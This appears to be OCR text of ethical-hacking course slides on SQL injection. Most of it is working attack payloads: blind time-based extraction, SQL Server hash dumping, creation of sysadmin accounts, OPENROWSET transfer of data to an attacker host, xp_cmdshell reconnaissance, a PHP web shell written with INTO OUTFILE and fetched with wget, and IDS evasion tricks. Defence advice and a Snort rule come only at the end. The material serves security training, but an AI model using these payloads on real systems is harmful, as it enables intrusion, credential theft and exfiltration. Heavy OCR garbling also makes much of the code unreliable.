http: //www.juggyboy .com/page.aspx?id=1; IF (ASCII(lower(substring((DB NAME()),3,1)))=99) WAITFOR DELAY '00:00:10'--

hittp: //www. juggyboy . com/page. aspx?id=1; IF (ASCIT(lower(substring( (DB HAME()}),4,1)))=100) WAITFDR DELAY '00:00:10"--

Database Name = ABCD (Considering that the database returned true for above statement)

M6 o6

L I oV

Extract 1st Database Table

http: //vww. juggyboy.com/page.aspx?id=1; IF (LEN(SELECT TOP 1 HAME from syscbhbjects where xtype='U')=3) WAITFOR
DELAY '00:00:10"-—-

http: //fwww. Juggyboy . com/page . aspx?id=1; IF (ASCIT(lower{substring| (SELECT TOF 1 HAME from syscbjects where
xtype=char (85) ) ,1,1)))=101) WAITFOR DELAY '00:00:10'--

http: //vwww. juggyboy.com/page.aspx?id=1; IF (ASCIT (lower(substring((SELECT TOF 1 HAME from sysobjects where
xtype=char (85)) ,2,1)) )=10%) WAITFOR DELAY '00:00:10'--

http://vwww. juggyboy.com/page. aspx?id=1; IF (ASCII(lower(substring((SELECT TOF 1 HAME from syscbjects where
xtype=char (85})}) ,3,1)))}=112) WAITFOR DELAY '00:00:10'-—-

Table Name = EMP (Considering that the database returned true for above statement)
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Blind SQL Injection - Extract ClEH

Column Name | el

Extract 1st Table Column Name

http: //www.jugogyboy.com/page.aspx?id=1; IF (LEN(SELECT TOP 1 column name from
ABCD.information schema.columns where table name='"EMP')=3) WAITFOR DELAY '00:00:10'—

http: //www. jugogyboy . com/page. aspx?id=1; IF (ASCII (lower (substring ((SELECT TCP 1 column name from
ARCD.information schema.columns where table name='"EMP') ,1,1)))=101) WATTFOR DELAY '00:00:10'--

http: //www.juggyboy . com/page . aspx?id=1; IF (ASCII (lower (substring((SELECT TOP 1 column name from
ARCD. information schema.columns where table name='EMP') ,2,1)))=105) WAITFOR DELAY '00:00:10"'--

http: //www.juggyboy . com/page.aspx?id=1; IF (ASCII (lower (substring ((SELECT TOP 1 column name from
ARCD.information schema.columns where table name='EMP') ,3,1)))=100) WATTFOR DELAY '00:00:10'--

Column Name = EID (Considering that the database returned true for above statement)

Extract 2nd Table Column Name

http: //www. juggyboy . com/page .aspx?id=1; IF (LEN(SELECT TOF 1 cclumn name from ABCD.information schema.columns where
table name="EMP' and column name>'EID')=4) WAITFOR DELAY '00:00:10'--

http: //www. juggyboy . com/page .aspx?id=1; IF (ASCIT(lower (substring( (SELECT TOP 1 column name from
ABCD.information schema.columns where table name="EMP' and column name>'EID'),1,1}))=100) WATTFOR DELAY '00:00:10'——

http: //www. juggyboy . com/page .aspx?id=1; IF (ASCII(lower (substring((SELECT TOP 1 column name from
ABCD.information schema.columns where table name='EMP' and column name>'EID'),2,1)))=101) WAITFOR DELAY '00:00:10'--

http: //www. juggyboy . com/page .aspx?id=1; IF (ASCITI(lower (substring((SELECT TOP 1 column name from
ABCD.information schema.columns where table name="EMP' and column name>'EID') ,3,1}))=112) WATTFOR DELAY '00:00:10'——

http: //www. juggyboy . com/page.aspx?id=1; IF (ASCII(lower (substring((SELECT TOP 1 column name from
ABCD.information schema.columns where table name='EMP' and column name>'EIDR') . 4,1)}))=116) WAITFOR DELAY '00:00:10'--

Column Name = DEPT (Considering that the database returned true for above statement)

Copyright © by EG-Eamneil. All Rights Reserved. Reproduction is Strictly Prohibited.




Blind SQL Injection - Extract
Data from ROWS

Extract 1st Field of 1st Row

http: //www. iuggyboy.com/page. aspx?id=1; (LEN (SELECT TOP 1 EID from EMFP)=3) WAITFOR DELAY
'00:00:10"'—

http: //www. jugogyboy. com/page . aspx?id=1; (ASCIT (substring ( (SELECT TOF 1 EID from EMP) ,1,1))=106)
WAITFOR DELAY '00:00:10'--

http: //www. juggyboy.com/page . aspx?id=1; (ASCIT (substring( (SELECT TOP 1 EID from EMP) ,2,1))=111})
WATITFOR DELAY '00:00:10'—-

http: //www. juggyboy.com/page.aspx?id=1; IF (ASCII (substring((SELECT TOF 1 EID from EMP) ,3,1))=101)
WAITFOR DELAY '0O0:00:10"'--

Field Data = JOE (Considering that the database returned true for above statement)

Extract 2nd Field of 1st Row

http: //vwww. juggyboy. com/page. aspx?id=1; IF (LEN(SELECT TOP 1 DEPT from EMP)=4) WAITFOR DELLY
'00:00:10"—-

http: //www. juggyboy.com/page.aspx?id=1; IF (ASCII (substring((SELECT TOF 1 DEPT from EMP) ,1,1))=100)
WATITFOR DELAY '00:00:10'—

http: //www. juggyboy.com/page.aspx?id=1; IF (ASCII (substring((SELECT TOF 1 DEPT from EMPF) ,2,1))=111)
WATITFOR DELAY 'O0:00:10°'——

http: //www. iuggyboy. com/page.aspx?id=1; IF (ASCII(substring((SELECT TOF 1 DEPT from EMP) ,3,1))=109)
WATTFOR DELAY '00:00:10'"--

http: //www. juggyboy.com/page.aspx?id=1; IF (ASCII (substring((SELECT TOF 1 DEPT from EMP) ,3,1))=112)
WAITFOR DELAY '00:00:10'——

Field Data = COMP (Considering that the database returned true for above statement)
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Perform Double Blind SQL Injection -
Classical Exploitation (IMySQL)

J This exploitation is based on time delays

- Restricting the range of character search increases performance

Classical implementation:

/?id=14AND+if ( (ascii (lower (substring( (select password from user
limit 0,1),0,1))))=97,1,benchmark (2000000 ,md5 (now())))

We can conjecture that the character was guessed right on the basis of the time
delay of web server response

Manipulating the value 2000000: we can achieve acceptable performance for a
concrete application

Function sleep () represents an analogue of function benchmark () . Function
sleep() is more secure in the given context, because it doesn’t use server resources.
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Perform Blind SQL Injection Using
Out of Band Exploitation Technique

This technique is useful when the tester finds a Blind SQL Injection situation

It uses DBMS functions to perform an out of band connection and provide the results of the
injected query as part of the request to the tester’s server

Note: Each DBMS has its own functions, check for specific DBMS section

Consider the SQL query shown below: sELEcT * FROM products WHERE id product=§5id product

Consider the request to a script who executes the query above:
http://www.example. com/product. php?id=10

The malicious request would be: http: //www.example . com/product. php?id=10| |UTL HTTP.request
(*‘testerserver.com:80’) | | {(SELET user FROM DUAL)—

In example above, the tester is concatenating the value 10 with the result of the function UTL BTTP.request

This Oracle function tries to connect to ‘testerserver’ and make a HTTP GET request containing the return from
the query “SELECT user FROM DUAL"

The tester can set up a webserver (e.g. Apache) or use the Netcat tool
/home/tester/ne —nLp 80

GET /SCOTT HTTP/1l.1 Host: testerserver.com Connection: close
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Exploiting Second-Orderx SOL

Injection | i

Second order SQL injection occurs when data input is stored in database and
used in processing another SQL query without validating or without using
parameterized queries

By means of Second-order SQL injection, depending on the backend database,
database connection settings and the operating system, an attacker can:

& Read, update and Delete arbitrary data or arbitrary tables from the database

& Execute commands on the underlying operating system

Sequence of actions performed in a second-order SQL injection attack

- The attacker submits a crafted input in an HTTP request

- The application saves the input in the database to use it later and gives response to
the HTTP request

MNow, the attacker submits another request

The web application processes the second request using the first input stored in
database and executes the SQL injection Query

The results of the query in response to the second request are returned to the attacker,
if applicable
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SOL Injection Methodology m
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Injection
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Launch SQL
Injection
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Advanced SQL
Injection
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Database, Table, and Column
Enumeration

Identify User Level Privilege

There are several SQL built-in scalar functions that
will work in most SQL implementations:

user oOr current_user, session_user, system_user
'"'and 1 in (select user } -—-

'; if wpser ='dbo' waitfor delay '0:0:5 !

' union select if( user() like 'rootl%',

benchmark (50000,shal {("test') ), 'false' );

Discover DB Structure

Determine table and column names
' group by columnnames having 1=1 —-

Discover column name types

' nunion select sum({columnname ) from tablename

Enumerate user defined tables

'"'and 1 in (select min(name) from sysocbjects
where xtype = '0' and name > ".') ——

C|EH

Coriifbed B Ethical Hachar

DB Administrators

Default administrator accounts include sa,
system, sys, dba, admin, root and many others

The dbo is a user that has implied permissions to
perform all activities in the database.

Any object created by any member of the
sysadmin fixed server role belongs to dbo
automatically

Column Enumeration in DB

MS SQaL DB2

SELECT mame FROM syscolumns T
WEERE id = (SELECT id FROM ST
sysobjects WHEEBE name = ng:a:.:ﬂlum:E
i . WHERE tabname=

teblenams ')
sp columns tablename

- Postgres
MMySQL
show columns from tablsnams

Oracle

BOM all tab columns
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Advanced Enumeration

Oracle

SYS.USER_OBJECTS & NMsysACEs mysgl.user - sysobjects
SYS.TAB, SYS.USER_TABLES & MsysObjects mysql.host 2 syscolumns
SYS.USER_VIEWS @  MsysQueries mysql.db ! systypes
SYS.ALL TABLES & MsysRelationships . sysdatabases

SYS.USER_TAB COLUMMNS

o
B,

SYS.USER CATALOG

Tables and ' union select 0, syscbjects.pmame + ': " + syscolumns.name + ": ' +
columns systypes.name, 1, 1, '1', 1, 1, 1, 1, 1 from syscbjects, syscolumns,
enumeration systypes where sysobjects.xtype = 'U' AND sysobjects.id = syscolumns.id AND
in one query syscolumns.xtype = systypes.xtype —

Different databases in Server
' 'and 1 in (select min{name } from master.dbo.sysdatabases where pame >'."' ) —

File location of databases
'and 1 in (select min(filename ) from master.dbo.sysdatabases where filename >'.' ) —

Copyright © by EG-Eamneil. All Rights Reserved. Reproduction is Strictly Prohibited.




Features of Different DBV Ss

®

String concaty(,)
Concatenation concat_ws(delim,)

Comments —and /**/ and # — and /*

Request Union union union and ;

Sub-requests Yes

Stored Procedures Yes

Availability of
information schema
or its Analogs

" concat "

III!&IIH Ilill HII+IIII II]|II
ll!lFl

—and /*

union union and ;

Mo Yes

Mo Yes

- Example (MySQL): SELECT * from table where id = 1 union select 1,2,3

- Example (PostgreSQL): SELECT * from table where id =

1; select 1,2,3

2 Example (Oracle): SELECT * from table where id = 1 union select null, null,null from sys.dual
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Creating Database Accounts

exec sp addlogin 'wvictor', 'Passl23’

exec sp_addsrvrolemember 'victor',
'sysadmin'

CREATE USER victor IDENTIFIED BY Passl23
TEMPORARY TABLESPACE temp
DEFAULT TABLESPACE users;

GRANT CONNECT TO victor;
GRANT RESOURCE TO wvictor;

CREATE USER victor

IDENTIFIED BY 'Passl23' w @

INSERT INTO mysqgl.user (user, host,
password) VALUES ('viector',
'localhost', PASSWORD ('Passl23'))
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Password Grabbing

Grabbing user name and
passwords from a User Defined table

R el i )

Jlohn asd@123

4 f)
Mt

Database

4N
o b,

B
1

Rebecca quwert123

|
'-i

Dennis pass@321

'; begin declare @var wvarchar (8000)
set @var=':' select @var=@var+' '+login+'/'+password+'

users where login>@wvar select @var as var into temp end --

Web

Application
Attacker

Internet
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Grabbing SQL Server Hashes

The hashes are extracted using

SELECT password FROM master. .sysxlogins

We then hex each hash

begin @Gcharvalue="0x', @i=1,
Elength=datalength (gbinvalue) ,

fhexstring = '01234567T83ABCDEF"'
while (Ei<=Flength) BEGIN
declare @tempint int,
Bfirstint int, Esecondint int
select ftempint=CONVERT
(int, SUBSTRING (Ebinvalue, @i, 1))
select Efirstint=FLOOR
(Etempint/16)
select @secondint=Ftempint —
(Bfirstint¥14)
select (Echarvalue=&charvalue +
SUBSTRING (fhexstring,Bfirstint+1,1) +
SOBSTRING (Ehexstring, Esecondint+l, 1)
select Ei=@i+l END

And then we just cycle through all passwords

SQL query

SELECT name, password FROM sysxlogins

To display the hashes through an error message,
convert hashes = Hex = concatenate

Password field requires dba access

With lower privileges you can still recover user
names and brute force the password

SQL server hash sample

DI 4A56085E6SESEZETICE
FB54] 1 29n1DT2ETCI1S4F 72848

0=010034767D
CEDZ2503412

IF3h

Extract hashes through error messages

and 1 in (select x from temp)} -

and 1 in (select substring (x, 256, 256)
from temp) —-

and 1 in (select substring (x, 312, 256)
from temp) --

' drop table temp --
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Extracting SOL Hashes
(In a Single Statement)

'; begin declare @var wvarchar(8000), @xdatel datetime,
@binvalue varbinary(255), @charvalue wvarchar(255), @i int,
@length int, @hexstring char(l€é) set @var=':' select
@xdatel=(select min(xdatel) from master.dbo.sysxlogins
where password is not null) begin while @xdatel <= (select
max (xdatel) from master.dbo.sysxlogins where password 1s not
null) begin select @binvalus=(select password from
master.dbo.sysxlogins where xdatel=@xdatel), f@charvalue = '0x',
@i=1, @length=datalength(@binvalue), Rhexstring =
'0123456789ABCDEF"' while (@i<=flength) begin declare ftempint
int, @firstint int, @secondint int select @tempint=CONVERT (int,
SUBSTRING (@binvalue, @i, 1)) select Rfirstint=FLOOR (@ftempint/16)
select @secondint=@tempint - (@firstint*1€) select
@charvalue=@charvalue + SUBSTRING (@hexstring,@firstint+l,1) +
SUBSTRING (Rhexstring, @secondint+l, 1) select @i=@i+]1 end
select @var=@var+' | '+name+'/'+@charvalue from
master.dbo.sysxlogins where xdatel=@xdatel select (Exdatel =
(select isnull (min(xdatel),getdate()) from master..
sysxlogins where xdatel>@xdatel and password is not null)
end select @var as x into temp end end ——
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Transfer Database to Attacker's
Machine

SQL Server can be linked back to the attacker's DB by using OPENROWSET. DB Structure is replicated
and data is transferred. This can be accomplished by connecting to a remote machine on port 80

'; insert into OPENROWSET ('3QLoledb’, 'uid=sa;pwd=Passl23; Network=DBEM330OCN;
2ddress=myIP,80;"', 'select * from mydatabase. . hacked sysdatabases')
select * from master.dbo.sysdatabases ——

'; insert into OPENROWSET ('SQLoledb', 'uid=sa;pwd=Passl23; Network=DBEM330OCN;
d

r
Address=myIP,80;", '"select * frnm mydatabase.. hacked sysdatabases')

select * from user database.dbo.syscbhjects -

'; insert into OPENROWSET ('SQLoledb', 'uid=sa;pwd=Passl23; Network=DBEM330OCN;
Lddress=myIP,80;", 'select * frDm mydatabase. .hacked syscolr

umns ")

select * from user database.dbc.syscolumns —-

insert into OPENROWSET ('S0Loledb', "uid=sa;pwd=Passl23;Network DEMSSOCN;
dress—myIP,80; "', "select * from mydatabase.. taklel')
el ct * from database..tablel ——

'; insert into COPENROWSET ('SQLoledb', 'uid=sa;pwd=Passl23; Network=DBM3SOCN;
Address—myIP,B0;", "select * from mydatabase..table2")
select * from database..tabkle? —-—
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Interacting with the Operating
System

MS SQL OS Interaction

A i 3 ': exec master..xp omdshell 'ipconfig > test.txt' —
Headmg and Wfltlﬁg S‘fS'[EIT'I fllES ': CREATE TABLE tmp (txt warchar (8000)}):; BULK INSERT tmp

from disk FEOM ' tent.txt' —--
'; begin declare 2data varchar (8000) ; set Bdata="'| '

remote ShE" select fdata as x into temp end -—-

''and 1 in (select substring(x,1,256) from temp) --

'; declare @var sysname, setbt @var = 'del test.txt':; EXEC
master..xp cmdshell @var; drop table temp; drop table tmp —-

Find passwords and execute commands

L) i)

Both methods are restricted by the My5QLOS Interaction

database’'s running privileges and
permissions

FUNCTION sys exec RETURNS
"libudffmwgj.dll' ;

FUNCTION sys eval RETURNS string
"libudffmwgj.dl11l" ;

Database 05 shell
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Interacting with the

LOAD FILE() INTO OUTFILE()

The LOAD_FILE() function within MySQL The OUTFILE() function within MySQL
is used to read and return the contents is often used to run a query, and dump
of a file located within the MySQL server the results into a file

NULL UNION ALL SELECT LOAD FILE('/etc/passwd')/*

If successful, the injection will display the contents of the passwd file

NULL UNION ALL SELECT NULL,NULL, NULL,NULL, '<?php Systemi.'S_GET ["command™]) ; (r
?>' INTC OUTFILE '/var/www/juggyvboy.com/shell.php'/*

If successful, it will then be possible to run system commands via the S_GET global. The
following is an example of using wget to get a file:
http://www.juggyboy.com/shell.php?command=wget http://www.example.com/c99.php
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Network Reconnaissance Using
SQL Injection

Assessing Network Connectivity

- Server name and configuratio
''and 1 in (select

NetBIOS, ARP, Local Open Ports, nslookup, ping, ftp,
tftp, smb, traceroute?

- Test for firewall and proxies

Network Reconnaissance

- You can execute the following using the
xp cmdshell command:

- lpcenfig /all, Tracert mylP, arp —a, nbtstat —,
netstat —ano, route print

Attacker Datahase 05 shell

Gathering IP information through
reverse lookups

Reverse DMNS

'; exec master..Xp cmdshell "nslookup

a.com MyIP' ——

Reverse Pings

'; exec master..xp cmdshell 'ping

10.0.0.757 —=

OPENROWSET

'; select * from OPENROWSET (
'SoLoledh', 'uid=sa; pwd=Passl123:
Network=DBMSSOCN;
Address=10.0.0.75,80;",

"'select * from table')

Local Network
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Network Reconnaissance Full
Query

Q O http:/ /www.juggyboy.com

r

2 ; declare Bwar warchar{(23g); set Bwvar = ' del test.txt &&
arp -a >> test.txt && ipconfig fall >> test.txt && nbtstat -
c »» test.txt && netstat —-ano >> test.txt && route print >>
test.txt && tracert —-w 10 -h 10 google.com >> test.txt';
EXEC master..xp cmdshell Bvar —-—

"; CREATE TABLE tmp (txt warchar (8000)); BULK INSERT
FROM 'test.txt' —-

"; begin declare fdata warchar (BOOO) ; set Rdata=": "
select fdata=—fdatattxt+" | ' from tmp where txt<fdata
select Bdata as x inte temp end —

r

and 1 in (select substring(x,1,255) from temp) ——

"; declare Bvar sysname; set @var = 'del test.txt'; EXEC
master..xp cmdshell @var; drop table temp; drop table tmp —-

Note: Microsoft has disabled xp cmdshell by default in SQOL Server 2005/2008. To enable this feature EXEC
sp configure '"xp cmdshell', 1 GO RECONFIGURE
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SOL Injection Tool: BSQLHacker

BSQL (Blind SQL) Hacker is an automated SQL Injection Framework / Tool
designed to exploit SQL injection vulnerabilities virtually in any database
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SQL Injection Tool: Marathon
Tool

Fiz Hep

- Using Marathon Tool, a malicious user can e —
send heavy queries to perform a Time-Based B crtpston

Dt abwmne enigine  Macsssall 50U Server

Blind SQL Injection attack i L A

Fammsten  Cookes | Authenfication | Proxy

el

Parameter Injection using HTTP GET or POST

R EREREREEEERER

Authentication methods: Anonymous, Basic, Digest
and NTLM

ey B u
1 FRSH eyesiece VRN wuppescher: i
TR ryesayeczs MERE srgpeschaa
#PRAY LTS
bpmasiese
ermestarns

R FETEEEEEEEEEEEREE

http.//marathontool.codeplex.com
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SQL Injection Tool: SQL Power
Injector

S0 Power Injector 1.2

Techmque GamerH S0L Seflmgs Huumlm : - <<
@ POST @ GET | % Normal © Blind || i Replace Space by Type Mismbeet of Thisach. ™
.Di“l.iﬂ ® Word O Length & Count Sharting Lengh m

_ W Waitlor dokay e i [y | M Coseimeane
Srynig Farmmelers Cookie Poometers | | m Edin . Ui#"ul'ﬂlh-lﬂﬂl:w

Inzert the mamber youwant bo automastically copy the eddress mithe URL.

Fends - | don't wanl o aulomalicilly copy Bua any of hose addrmsss o e UFL
Tt Cha Timetaken - Bip igodotanigalery

Siahm
Curranl Siring

SQL Power Injector is an application created in .Net 1.1 that

helps the penetration tester to find and exploit SQL injections
on a web page
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SOL Injection Tool: Havij

Using this SQL injection tool, an attacker can perform back-end database fingerprint, retrieve
DBMS users and password hashes, dump tables and columns, fetch data from the database,
run SQL statements and even access the underlying file system and executing commands on
the operating system
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| ] 3 45 4

i i ] f F i
Fird Admin  WDS tettngn ] . FindAdmin M5 Setibegs
Hawij - Advanced S0L Injsction Tool | [

Fromy Frkwn Cart ]

— verson 113 Free
ﬁ- o= Copymight © 20042011 Tre ol byerit pndasss L OH rpciam. Trse gl [ncored] Fl
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SQOL Injection Tools

Blind Sql Injection Brute

Forcer
http:/fcode.google.com

SQL Brute

http v, gdssecurity.com

fatcat-sql-injector ~ sglmap
http:/feode.google.com http:/fsgimap.org

Sqlninja | Darkjumper
http:/fsqlninjo.sourceforge.net ] http:/fsourceforge.net

sqlget Pangolin
http /S wawnw. darknet.org.uk http://nosec.org

Abiskithe L =M saLpaT

http: /S wawaw. darknet.org.uk ==L | http:/fwww. cqure.net
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SOL Injection Tools

(Cont’d)

FJ-Injector Framework @ Automagic SQL Injector
http:/fsourcefarge. net . http:Aawnwsecuriteam. com

safe3si = SQL Inject-Me

https:/feode. google. com = http:/ flabs. securitycompass. com

sQller ¥ NTO sQL Invader

http:/fbeable.net = il http:Swww.ntobjectives.com

Sqlsus The Mole

http:/fsqlsus.sourceforge.net http: fthemole.sourceforge.net

SQLEXEC( ) Function ~ 1 Sql Poizon

http:/fmsdn. microsoft.com hittpzfAwww hackforsecurity.net
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SQL Injection Tool for Mobile:
DroidSQLi

J DroidSQLi is the automated

MySQL injection tool for
Android

It allows you to test MySQL-
based web application
against SQL injection attacks

http://10.0.0.1/target.php?id=1 http://10.0.0.1/target.php?id=1

== Trying Error Bas = Trying Error Based Injection
L ing Mor - = Trying Normal |mjection
B Narmal = Using Narmal Injection

= Done!

DroidSQLi supports the

following injection W S
. Database Version: 5.5.30 Database Version: 5.5.30
tECh mq ues: Current DB: pentest Current DB: pentest

Cuwrrent User: root@localhost Current Uaer: resti=lecalhaat

Time based injection

Blind injection mysql
max_user_connections
Error based injection newhs
=, Password
Normal injection nna_portal_db

3 g FProcess_priv
It automatically selects the Shienicert

best technique to use and et References_peiv
i : pentes
employs some simple filter

evasion methods phpmyadmin | _

h ﬁp.‘;’;’www.edgar.ﬁ'. nei‘
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SQL In]ectlon Tool for Moblle'
sqlmapchlk

r;qirmpc,hik-
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C|EH

Coriifbed B Ethical Hachar

SQAL Injection Attack Internet Firewall

Attackers use evasion techniques to obscure input strings in order
to avoid detection by signature-based detection systems
Signature-based detection systems build a database of SQL

Attacker injection attack strings (signatures) and then compare input strings

Security Admin

against the signature database at runtime to detect attacks

0S Shell Actual Data Database Web Application
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Types of Signature Evasion
Techniques

Obhscures input strings by inserting in-line comments between
SQL keywords

Char Encoding l. Uses built-in CHAR function to represent a character

Concatenates text to create SQL keyword using DB specific
String Concatenation I instructions

Obfuscated code is an SQL statement that has been made
Obfuscated Codes b difficult to understand

Obscures input strings by dropping white space between
Manipulating White Spaces _ESe|N/GN

Hex Encoding § Uses hexadecimal encoding to represent a SQL query string

LT GO B L B Uses alternative expression of "OR 1=1"
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Evasion Technique:

CEH

Sophisticated Matches ) ot

LB SQL Injection Characters

" ox " character String Indicators

-= or # single-line comment
/*..* / multiple-line comment

+ addition, concatenate (or space in URL)
| | (double pipe) concatenate

% wildcard attribute indicator
?Paraml=foo&Param?=bar URL
Parameters

PRINT useful as non-transactional
command

@variable local variable
@@variable global variable
waitfor delay '0:0:10'time delay

Evading ' OR 1=1 signature

' OR 'john' ="john"

' OR 'microsoft' = 'micro'+'soft’
' OR 'movies' = N'movies'

' OR 'software’ like 'soft?'
'OR7>1

' OR 'best' > 'b'

' OR 'whatever' IN ('whatever')
"OR 5 BETWEEN 1 AND 7

An IDS signature may be looking
for the "OR 1=1. Replacing this
string with another string will
have same effect.
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Evasion Technique:
Hex Encoding

Hex encoding evasion technique uses hexadecimal encoding to represent a string

For example, the string 'SELECT' can be represented by the hexadecimal number
0x73656¢656374, which most likely will not be detected by a signature protection
mechanism

Using a Hex Value String to Hex Examples

; declare @x varchar(80) ; SELECT @@version =

set @x = X73656c656374 | . Ox73656c656374204
20404076657273696£6e; 04076657273696f6

EXEC (@&=x) DROP Table CreditCard = 0x44524f502054
61626c652043726564697443617264
INSERT into USERS (Juggyboy', 'qwerty') =
. 0x494e5345525420696e74
"f:? This statement uses no 6f2055534552532028274a7

single quotes (') 5676779426f79272c202771
77657274792729
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Evasion Technique:

C|EH

Manipulating White Spaces ) ot

J  White space manipulation technique obfuscates input strings by dropping
or adding white spaces between SQL keyword and string or number
literals without altering execution of SQL statements

J Adding white spaces using special characters like tab, carriage return,
or linefeeds makes an SQL statement completely untraceable without
changing the execution of the statement

“UNION SELECT” signature is different from “UNION SELECT”

J Dropping spaces from SQL statements will not affect its execution by
some of the SQL databases

'OR'1'="1" (with no spaces)
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Evasion Technique:
In-line Comment

Evade signatures that filter white spaces

In this technique, white spaces between SQL keywords are
replaced by inserting in-line comments

/* . */isused in SQL to delimit multi-row comments

(pra
'/ ** /UNION/**/SELECT/** /password/** /FROM/** /Users %g;fﬁ;]
/** /WHERE/** fusername/** /LIKE/**/ 'admin’' -- '

You can use inline comments within SQL keywords

'/** /UN/**/ION/** /SEL/** /ECT/**/password/**/FR/
*% [OM/** [Users/** /WHE/** /[RE/** [

username/** /LIKE/**/'admin’'--
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Evasion Technique:
Char Encoding

. Char () function can be used to inject SQL injection statements into MySQL without using
double quotes

- Load files in unions (string = "/etc/passwd"):
o,_._ ' union select 1, (load file(char(47,101,116,99,
g 47.112,97,115,115,119,100))) .1 ,.1.1;

Inject without quotes (string = "%"):

' or username like char (37):;

' union select * from users where

e Inject without quotes (string = "root"):
login = char(114,111,111,116);

Check for existing files (string = "n.ext"):
o “ ' and 1=( if( (load file(char(110,46,101,120,116))

<>char(39,39)),1,0));

-
v
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Evasion Technique:
String Concatenation

Split instructions to avoid signature detection by using execution commands
that allow you to concatenate text in a database server

© Oracle: ' ; EXECUTE IMMEDIATE 'SEL' || 'ECT US' || 'ER'

S MSSQL:'; EXEC ('DRO' + 'P T' + 'AB' + 'LE'")

o6

N —

v v
Compose SQL statement by concatenating strings instead of
parameterized query

S MYSQL: ' ; EXECUTE CONCAT('INSE', 'RT
Us','ER')
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Evasion Technique:
Obfuscated Codes

Examples of obfuscated codes for the string “qwerty”

Reverse (concat (if (1, char (121} ,2) ,0x74, right (left (0x567210,2),1),
lower (mid {("TEST" ,2,1) ), replace (0x7074, 'pt','w'),

char (instr (123321,33)+110)})

Concat (unhex (left (cre32(31337),3) -400) ,unhex(ceil (atan(1)*100-2)),
unhex (round (log (2) *100)-4) , char (114) , char (right (cot (31337),2) +54) ,
char (pow (11,2}))}

An example of bypassing signhatures (obfuscated
code for request)

The following request corresponds to the application signature:
J?id=1+union+{select+l, 2+fromttest.users)

The signatures can be bypassed by modifying the above request:
f?id=(1)unIon{selEct(l) ,mid(hash,1,32) from(test.users))
/?id=l+union+ (sELect'l’ ,concat (login, hash) from+test.users)

J?id=(1)union{ {((({(=elect(l) ,hex(hash) from(test.users)))})})}}
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How to Defend Against SQL clen
Injection Attacks ) ot

Applications are
Vulnerable to SQL
Injection Attacks?

Monitor DB traffic using

Run database service an IDS, WAP
account with minimal rights M :

i.‘.-.‘.-ll-li-:: Dat&bﬂse server runs 05 “.".
commands R e

Disable commands like V *  for DB connection
xp_cmdshell

Using privileged account to S :
connect to the Database  * -

Error message revealing .

o Sl T important information

~ Suppress all error Mg - 'S¢ Filter All Client Data
messages ! i '
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How to Defend Against SOL
GRies = c/en

Injection Attacks (Contd) ) ot

Make no assumptions about the size, type, or content of the
data that is received by your application

Test the size and data type of input and enforce appropriate
limits to prevent buffer overruns

Test the content of string variables and accept only expected
values

Reject entries that contain binary data, escape sequences,
and comment characters

Validated
Never build Transact-SQL statements directly from user input : Input
and use stored procedures to validate user input :

Implement multiple layers of validation and never concatenate m Bad Input
user input that is not validated
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How to Defend Against SQL
Injection Attacks (Contd)

- dynamic SQL

Ensure that the Web config files for each application do not contain sensitive
information

- restrictive SQL account types

Use Network, host, and application intrusion detection systems to monitor
the injection attacks

erform automated - | mjectmn testing static source code analysis
mﬂl'lllﬂl penetrntlun testing

Keep untrusted data separate from commands and queries
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How to Defend Against SQL
Injection Attacks (Contd)

In the absence of parameterized AP,
use specific escape syntax for the
interpreter to eliminate the special
characters

Use a secure hash algorithm such as
SHA256 to store the user passwords
rather than in plaintext

Use data access abstraction layer to
enforce secure data access across an
entire application

Ensure that the code tracing and
debug messages are removed prior
to deploying an application

Design the code in such a way it traps
and handles exceptions appropriately

Apply least privilege rule to run the
applications that access the DBMS

Validate user-supplied data as well as
data obtained from untrusted sources
on the server side

Avoid quoted/delimited identifiers as
they significantly complicate all
whitelisting, black-listing and escaping
efforts
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How to Defend Against SQL Injection
Attacks: Use Type-Safe SQL Parameters

Enforce Type and length checks using Parameter Collection so that input is treated as a
literal value instead of executable code

mw

lapter myCommand = new SglDataAdapter ("AuthLogin", conn);
myCommand. SelectCommand . CommandType = CommandType.StoredProcedure;
SglParameter parm = myCommand.Selectlommand.Parameters.Add ("@aut id",
SqlDbType.VarChar, 11);

parm.Value = Login.Text;

In this example, the Zaut_id parameter is treated as a literal value instead of as executable code.

This value is checked for type and length.

Example of Vulnerable and Secure Code

Vulnerable Code Secure Code

SglDhataldapter myCommand = SglDataldapter myCommand = new
SglDataldapter( "SELECT aut lname,
aut fname FROM Authors WHERE aut id =
@au;_‘_c'l“, conn) ; SQLParameter }_::az:'.". =
myCommand . SelectCommand . Parameters.Ad
d{"Baut id", S5glDbType.VarChar, 11};
Parm.Value = Login.Text;

new
SglDataldapter ("LoginStoredPr
ocedure "V +

LU )
L

Login.Text + COnT ) ;
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How to Defend Against SQL
Injection Attacks (Cont'd)

. ' =4 —
hitp:/fwww. jugzyboy.com/Pid=blah’ OR 1=: Keep

| o g Patches current

Use WAF

Attacker Login Form hleinel .
Firewall/1DS and filter packets

Weh Server

Connect to the Database

using non-privileged account Analyze the source

code for SQL Injection
qlll-l'lllll TERRRERA RS ERRRRREREg,
Minimize Use of 3rd

Grant least privileges to the database, Party Apps

DBMS tables, and columns wEh. Application

Sanitize and filter user Input

5 : Disable commands Use stored procedures and - . Disable verbose error messages
x ¥ like xp_cmdshell parameter queries - : and use custom error pages

semsale

I|I|IHI| I

LI

Operating System S0L Query Custom Error Page
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dotDefender is a software
based Web Application
Firewall

It complements the
network firewall, IPS and
other network-based
Internet security products

It inspects the HTTP/HTTPS
traffic for suspicious
behavior

It detects and blocks SQL
injection attacks

SQL Injection Detection Tool:
dotDefender

) Bl dotDcfondo
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SQL Injection Detection Tool:
IBM Security AppScan
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SQL Injection Detection Tool:
WebCruiser

WebCruiser is a web
vulnerability scanner that
allows you to scan for
vulnerabilities such as SQL
injection, cross-site
scripting, XPath injection,
etc.
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Snort Rule to Detect SQL
Injection Attacks

Block these

Jexec (\s|\+)+(s|x)p\wt+/ix

ﬂ ~ /((\%27) | (\"))union/ix

N AR

alert tcp SEXTERNAL NET any -> S$HTTP SERVERS $HTTP PORTS (msg:"SQL Injection
- Paranoid";

flow: to_server,established;uricontent:".pl";pere:"/ (\%27) | (\') | (\-\~-

)1 (%23) | (#)/i"; classtype:Web-application-attack; =sid:9099; rev:5;)

http/fwww snort.org
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HP Weblnspect

http:/fwnw. hpenterprisesecurity. com

SQLDict

http:/ ntsecurity.nu

SQLiX

https: v, owasp.org

SQL Block Monitor

http:/fsql-tools.net

Acunetix Web Vulnerability

Scanner
http:/fwww. acunetin.com

SOL Injection Detection Tools

GreenSQL Database Security
http:/fwww.greensgl.com

